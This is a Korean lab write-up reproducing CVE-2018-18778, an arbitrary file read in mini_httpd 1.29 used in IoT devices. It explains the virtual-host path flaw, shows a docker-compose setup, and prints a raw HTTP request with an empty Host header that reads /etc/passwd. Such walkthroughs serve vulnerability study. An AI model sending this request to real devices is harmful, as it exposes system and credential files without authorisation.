
CVE-2018-18778에 대한 PoC 익스플로잇: 비어 있는 Host 헤더를 통해 mini_httpd 1.29에서 임의 파일 읽기, Huawei, Zyxel 및 기타 업체의 IoT 장치에 영향을 미침.
Mini_httpd는 소형 HTTP 서버로, 시스템 리소스를 적게 사용하면서도 일정 수준의 성능(Apache의 약 90%)을 유지할 수 있어 다양한 IoT(라우터, 스위치, 카메라 등) 기기에서 임베디드 서버로 널리 사용됩니다. Huawei, Zyxel, Hikvision, Raspberry Pi 등 제조업체의 장치에서도 Mini_httpd 구성 요소를 채택한 바 있습니다.
mini_httpd에서 가상 호스트 모드가 활성화된 경우, 사용자가 http://HOST/FILE을 요청하면 현재 디렉터리 아래의 HOST/FILE 파일에 접근하게 됩니다.
(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );
위 코드를 분석하면 다음과 같습니다.
example.com이고 FILE이 index.html일 때, 위 구문의 결과는 example.com/index.html이 되어 파일이 정상적으로 읽힙니다.etc/passwd일 때, 위 구문의 결과는 /etc/passwd가 됩니다.후자의 경우 절대 경로로 처리되어 /etc/passwd를 읽게 되며, 이로 인해 임의 파일 읽기 취약점이 발생합니다.
다음 명령을 실행하여 mini_httpd 1.29를 시작합니다.
docker-compose up -d
환경이 시작된 후 http://your-ip:8080에 접속하면 웹 페이지를 확인할 수 있습니다.
요청을 보낼 때 Host를 비우고 PATH 값에 파일의 절대 경로를 입력합니다.
GET /etc/passwd HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
파일 읽기 성공:
